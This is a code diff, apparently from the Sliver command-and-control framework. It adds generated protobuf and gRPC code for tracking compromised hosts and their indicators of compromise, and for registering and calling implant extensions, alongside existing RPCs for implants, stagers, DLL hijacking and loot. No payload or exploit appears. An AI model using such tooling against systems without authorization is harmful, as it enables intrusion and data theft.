+	ExtensionData map[string]*ExtensionData `protobuf:"bytes,5,rep,name=ExtensionData,proto3" json:"ExtensionData,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
+}
+
+func (x *Host) Reset() {
+	*x = Host{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[63]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *Host) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*Host) ProtoMessage() {}
+
+func (x *Host) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[63]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use Host.ProtoReflect.Descriptor instead.
+func (*Host) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{63}
+}
+
+func (x *Host) GetHostname() string {
+	if x != nil {
+		return x.Hostname
+	}
+	return ""
+}
+
+func (x *Host) GetHostUUID() string {
+	if x != nil {
+		return x.HostUUID
+	}
+	return ""
+}
+
+func (x *Host) GetOSVersion() string {
+	if x != nil {
+		return x.OSVersion
+	}
+	return ""
+}
+
+func (x *Host) GetIOCs() []*IOC {
+	if x != nil {
+		return x.IOCs
+	}
+	return nil
+}
+
+func (x *Host) GetExtensionData() map[string]*ExtensionData {
+	if x != nil {
+		return x.ExtensionData
+	}
+	return nil
+}
+
+type AllHosts struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Hosts []*Host `protobuf:"bytes,1,rep,name=Hosts,proto3" json:"Hosts,omitempty"`
+}
+
+func (x *AllHosts) Reset() {
+	*x = AllHosts{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[64]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *AllHosts) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*AllHosts) ProtoMessage() {}
+
+func (x *AllHosts) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[64]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
+func (*AllHosts) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{64}
+}
+
+func (x *AllHosts) GetHosts() []*Host {
+	if x != nil {
+		return x.Hosts
+	}
+	return nil
+}
+
 var File_clientpb_client_proto protoreflect.FileDescriptor
 
 var file_clientpb_client_proto_rawDesc = []byte{
@@ -4479,7 +4732,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x41, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c,
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+	0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0xe3, 0x04, 0x0a, 0x07, 0x53, 0x65, 0x73,
 	0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d,
 	0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01,
 	0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74,
@@ -4515,7 +4768,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x52, 0x4c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
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+	0x18, 0x16, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e,
+	0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03,
+	0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x53,
 	0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50,
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@@ -4753,7 +5008,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73,
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+	0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb3, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
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@@ -4762,7 +5017,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
 	0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
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@@ -4966,29 +5223,58 @@ var file_clientpb_client_proto_rawDesc = []byte{
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+	0x6f, 0x33,
 }
 
 var (
@@ -5004,7 +5290,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
 }
 
 var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
-var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 64)
+var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
 var file_clientpb_client_proto_goTypes = []interface{}{
 	(OutputFormat)(0),            // 0: clientpb.OutputFormat
 	(StageProtocol)(0),           // 1: clientpb.StageProtocol
@@ -5072,17 +5358,22 @@ var file_clientpb_client_proto_goTypes = []interface{}{
 	(*Credential)(nil),           // 63: clientpb.Credential
 	(*Loot)(nil),                 // 64: clientpb.Loot
 	(*AllLoot)(nil),              // 65: clientpb.AllLoot
-	nil,                          // 66: clientpb.ImplantBuilds.ConfigsEntry
-	nil,                          // 67: clientpb.WebsiteAddContent.ContentsEntry
-	nil,                          // 68: clientpb.Website.ContentsEntry
-	(*commonpb.Request)(nil),     // 69: commonpb.Request
-	(*commonpb.Response)(nil),    // 70: commonpb.Response
-	(*commonpb.File)(nil),        // 71: commonpb.File
+	(*IOC)(nil),                  // 66: clientpb.IOC
+	(*ExtensionData)(nil),        // 67: clientpb.ExtensionData
+	(*Host)(nil),                 // 68: clientpb.Host
+	(*AllHosts)(nil),             // 69: clientpb.AllHosts
+	nil,                          // 70: clientpb.ImplantBuilds.ConfigsEntry
+	nil,                          // 71: clientpb.WebsiteAddContent.ContentsEntry
+	nil,                          // 72: clientpb.Website.ContentsEntry
+	nil,                          // 73: clientpb.Host.ExtensionDataEntry
+	(*commonpb.Request)(nil),     // 74: commonpb.Request
+	(*commonpb.Response)(nil),    // 75: commonpb.Response
+	(*commonpb.File)(nil),        // 76: commonpb.File
 }
 var file_clientpb_client_proto_depIdxs = []int32{
 	7,  // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
 	0,  // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
-	66, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
+	70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
 	0,  // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
 	10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
 	11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
@@ -5091,46 +5382,50 @@ var file_clientpb_client_proto_depIdxs = []int32{
 	8,  // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
 	17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
 	20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
-	69, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
-	70, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
-	69, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
-	70, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
+	74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
+	75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
+	74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
+	75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
 	6,  // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
 	8,  // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
-	71, // 17: clientpb.Generate.File:type_name -> commonpb.File
-	69, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
-	69, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
+	76, // 17: clientpb.Generate.File:type_name -> commonpb.File
+	74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
+	74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
 	1,  // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
 	1,  // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
-	71, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
+	76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
 	8,  // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
-	69, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
+	74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
 	8,  // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
-	69, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
-	69, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
-	69, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
+	74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
+	74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
+	74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
 	56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
 	6,  // 30: clientpb.Event.Session:type_name -> clientpb.Session
 	20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
 	53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
 	56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
-	67, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
-	68, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
+	71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
+	72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
 	60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
 	2,  // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
 	3,  // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
 	63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
 	4,  // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
-	71, // 41: clientpb.Loot.File:type_name -> commonpb.File
+	76, // 41: clientpb.Loot.File:type_name -> commonpb.File
 	64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
-	8,  // 43: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
-	57, // 44: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
-	57, // 45: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
-	46, // [46:46] is the sub-list for method output_type
-	46, // [46:46] is the sub-list for method input_type
-	46, // [46:46] is the sub-list for extension type_name
-	46, // [46:46] is the sub-list for extension extendee
-	0,  // [0:46] is the sub-list for field type_name
+	66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
+	73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
+	68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
+	8,  // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
+	57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
+	57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
+	67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
+	50, // [50:50] is the sub-list for method output_type
+	50, // [50:50] is the sub-list for method input_type
+	50, // [50:50] is the sub-list for extension type_name
+	50, // [50:50] is the sub-list for extension extendee
+	0,  // [0:50] is the sub-list for field type_name
 }
 
 func init() { file_clientpb_client_proto_init() }
@@ -5871,6 +6166,54 @@ func file_clientpb_client_proto_init() {
 				return nil
 			}
 		}
+		file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*IOC); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ExtensionData); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*Host); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*AllHosts); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
 	}
 	type x struct{}
 	out := protoimpl.TypeBuilder{
@@ -5878,7 +6221,7 @@ func file_clientpb_client_proto_init() {
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_clientpb_client_proto_rawDesc,
 			NumEnums:      5,
-			NumMessages:   64,
+			NumMessages:   69,
 			NumExtensions: 0,
 			NumServices:   0,
 		},

protobuf/clientpb/client.proto

@@ -43,6 +43,7 @@ message Session {
   string ProxyURL = 20;
   uint32 PollInterval = 21;
   bool Burned = 22;
+  repeated string Extensions = 23;
 }
 
 message ImplantC2 {
@@ -274,6 +275,7 @@ message UpdateSession {
   string Name = 2;
   int32 ReconnectInterval = 3;
   int32 PollInterval = 4;
+  repeated string Extensions = 5;
 }
 
 message GenerateReq {
@@ -496,3 +498,27 @@ message Loot {
 message AllLoot {
   repeated Loot Loot = 1;
 }
+
+// [ Hosts ] ----------------------------------------
+message IOC {
+  string Path = 1;
+  string FileHash = 2;
+  string ID = 3;
+}
+
+message ExtensionData {
+  string Output = 1;
+}
+
+message Host {
+  string Hostname = 1;
+  string HostUUID = 2;
+  string OSVersion = 3;
+
+  repeated IOC IOCs = 4;
+  map<string, ExtensionData> ExtensionData = 5;
+}
+
+message AllHosts {
+  repeated Host Hosts = 1;
+}

protobuf/rpcpb/services.proto

@@ -47,6 +47,12 @@ service SliverRPC {
     rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
     rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
 
+    // *** Hosts ***
+    rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
+    rpc Host(clientpb.Host) returns(clientpb.Host);
+    rpc HostRm(clientpb.Host) returns(commonpb.Empty);
+    rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
+
     // *** Implants ***
     rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
     rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
@@ -117,6 +123,10 @@ service SliverRPC {
     rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
     rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
     rpc GetPrivs(sliverpb.GetPrivsReq) returns  (sliverpb.GetPrivs);
+    // Extensions
+    rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
+    rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
+    rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
     
     // *** Wireguard Specific ***
     rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);

protobuf/rpcpb/services_grpc.pb.go

@@ -51,6 +51,11 @@ type SliverRPCClient interface {
 	LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
 	LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
 	LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
+	// *** Hosts ***
+	Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
+	Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
+	HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
+	HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
 	// *** Implants ***
 	Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
 	Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
@@ -119,6 +124,10 @@ type SliverRPCClient interface {
 	RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
 	HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
 	GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
+	// Extensions
+	RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
+	CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
+	ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
 	// *** Wireguard Specific ***
 	WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
 	WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -343,6 +352,42 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
 	return out, nil
 }
 
+func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
+	out := new(clientpb.AllHosts)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
+	out := new(clientpb.Host)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
+	out := new(commonpb.Empty)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error) {
+	out := new(commonpb.Empty)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostIOCRm", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
 	out := new(clientpb.Generate)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Generate", in, out, opts...)
@@ -928,6 +973,33 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
 	return out, nil
 }
 
+func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
+	out := new(sliverpb.RegisterExtension)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) {
+	out := new(sliverpb.CallExtension)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
+func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) {
+	out := new(sliverpb.ListExtensions)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) {
 	out := new(sliverpb.WGPortForward)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...)
@@ -1115,6 +1187,11 @@ type SliverRPCServer interface {
 	LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error)
 	LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error)
 	LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error)
+	// *** Hosts ***
+	Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error)
+	Host(context.Context, *clientpb.Host) (*clientpb.Host, error)
+	HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error)
+	HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
 	// *** Implants ***
 	Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
 	Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
@@ -1183,6 +1260,10 @@ type SliverRPCServer interface {
 	RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
 	HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
 	GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
+	// Extensions
+	RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error)
+	CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error)
+	ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error)
 	// *** Wireguard Specific ***
 	WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
 	WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error)
@@ -1272,6 +1353,18 @@ func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*
 func (UnimplementedSliverRPCServer) LootAllOf(context.Context, *clientpb.Loot) (*clientpb.AllLoot, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method LootAllOf not implemented")
 }
+func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented")
+}
+func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method Host not implemented")
+}
+func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented")
+}
+func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented")
+}
 func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
 }
@@ -1467,6 +1560,15 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHija
 func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
 }
+func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented")
+}
+func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented")
+}
+func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented")
+}
 func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented")
 }
@@ -1912,6 +2014,78 @@ func _SliverRPC_LootAllOf_Handler(srv interface{}, ctx context.Context, dec func
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_Hosts_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(commonpb.Empty)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).Hosts(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/Hosts",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).Hosts(ctx, req.(*commonpb.Empty))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_Host_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(clientpb.Host)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).Host(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/Host",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).Host(ctx, req.(*clientpb.Host))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_HostRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(clientpb.Host)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).HostRm(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/HostRm",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).HostRm(ctx, req.(*clientpb.Host))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_HostIOCRm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(clientpb.IOC)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).HostIOCRm(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/HostIOCRm",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).HostIOCRm(ctx, req.(*clientpb.IOC))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
